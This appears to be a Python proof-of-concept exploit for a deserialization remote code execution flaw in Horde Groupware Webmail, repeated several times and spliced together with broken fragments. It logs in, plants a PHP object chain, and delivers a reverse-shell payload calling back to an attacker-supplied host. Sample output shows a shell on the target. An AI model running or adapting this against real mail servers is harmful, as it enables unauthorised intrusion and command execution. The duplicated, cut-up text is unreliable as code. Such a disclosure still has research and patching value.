$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
*\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
_prefs";O:11:"Horde_Prefs":2:{' pop += 'S:8:"\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
*\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
_opts";a:1:{' pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{' pop += 'S:13:"\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
